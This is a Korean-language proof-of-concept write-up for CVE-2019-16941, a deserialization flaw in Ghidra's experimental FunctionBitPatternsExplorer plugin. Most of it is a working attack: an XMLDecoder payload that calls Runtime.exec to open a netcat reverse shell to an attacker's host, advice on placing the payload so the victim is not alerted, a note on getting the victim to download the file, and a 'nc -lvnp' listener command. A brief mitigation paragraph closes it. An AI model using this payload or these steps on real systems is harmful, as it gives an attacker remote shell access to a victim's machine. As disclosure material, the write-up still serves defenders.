
CVE-2019-16941용 PoC
개념 증명(Proof-of-Concept):
이 취약점이 트리거되려면 여러 가지 상대적으로 발생 가능성이 낮은 조건이 필요하며, 이로 인해 악용 가능성은 제한적입니다. 그러나 임의 코드 실행으로 이어질 수 있다는 점을 고려하면 페이로드를 준비하는 데 드는 노력과 이해는 적습니다.
페이로드 생성:
대상이 실행할 페이로드를 만들기 위해 Ghidra에 포함된 스크립트를 사용할 수 있습니다. 이 스크립트에 접근하려면 "창(Window)" -> "스크립트 관리자(Script Manager)"를 클릭하고 Code Browser에 포함한 바이너리에서 기본 매개변수로 "DumpFunctionPatternInfoScript.java"를 실행합니다(단, 출력을 저장하려는 폴더의 경로가 존재하는지 확인하십시오). 이 스크립트는 나중에 취약한 구성 요소에 로드될 XML 출력 파일을 생성합니다.

이 XML 템플릿은 Java 코드로 역직렬화되어 사용자에게 알리지 않고 조용히 실행될 객체를 주입하는 데 사용할 수 있습니다. 본질적으로 악성 코드는 XML 파일 끝, 닫는 태그 앞에 추가 객체로 삽입됩니다. 리버스 셸을 나타내는 객체 페이로드의 예는 다음과 같습니다.
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
위 내용은 다음 Java 코드로 역직렬화됩니다.
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
페이로드 측면에서 옵션은 무한합니다. XMLDecoder가 요구하는 XML 형식으로 올바르게 직렬화만 된다면 모든 Java 코드(정교한 맬웨어 포함)가 이런 방식으로 실행될 수 있기 때문입니다. 템플릿의 다른 위치에 페이로드를 삽입(추가로 숨기기 위해)할 경우 역직렬화 중 예외가 발생하여 사용자에게 알릴 수 있으므로 주의해야 합니다.
실행:
페이로드가 실행되는 과정은 Ghidra GUI를 사용하며 자동화할 수 없습니다. 대신 피해자의 인간 상호 작용이 필요하며, 이는 익스플로잇이 실행되기 위한 또 다른 조건입니다.
이 익스플로잇이 피해자 컴퓨터에서 작동하려면 Ghidra에 실험 플러그인 "FunctionBitPatternsExplorer"가 활성화되어 있어야 합니다. 이는 다음 단계를 통해 수행할 수 있습니다.

다음으로 사용자는 "창(Window)" -> "Function Bit Patterns Explorer"에서 플러그인을 열고 "XML 파일 읽기(Read XML Files)" 기능을 사용하여 XML 파일을 로드해야 합니다. 하지만 이는 조건 섹션에 또 다른 문제를 제기합니다. 공격자는 사용자가 XML 페이로드를 자신의 컴퓨터로 다운로드하도록 유도할 방법이 필요합니다.
피해자의 관점에서 다시 보면, 해당 기능은 목록에 XML 파일을 표시하지 않으므로 디렉터리가 비어 보여도 정상입니다. "파일 이름(File name)" 입력란에 이름을 입력하기 시작하면 표시되지만, 파일을 선택하지 않고 선택기가 디렉터리를 가리키도록 두는 것이 중요합니다. 그러면 자체적으로 파일을 선택하기 때문입니다.

사용자가 "확인(OK)"을 클릭하기 전에 공격자(joe)는 원격 호스트에서 리스너를 실행 중이며 연결을 기다리고 있어야 합니다. 이는 다음을 사용하여 쉽게 수행할 수 있습니다.
$ nc -lvnp <listening_port>
실행 후 결과는 아래에서 확인할 수 있습니다.

이 취약점은 관련된 조건이 많기 때문에 대규모로 악용될 가능성은 매우 낮습니다. 새 패치가 제공될 때까지 최선의 완화 조치는 영향을 받는 실험 플러그인을 비활성화(또는 처음부터 활성화하지 않는 것)하는 것입니다. 그러나 플러그인을 사용해야 하는 경우 XML 파일은 신뢰할 수 있는 출처에서 가져와야 합니다.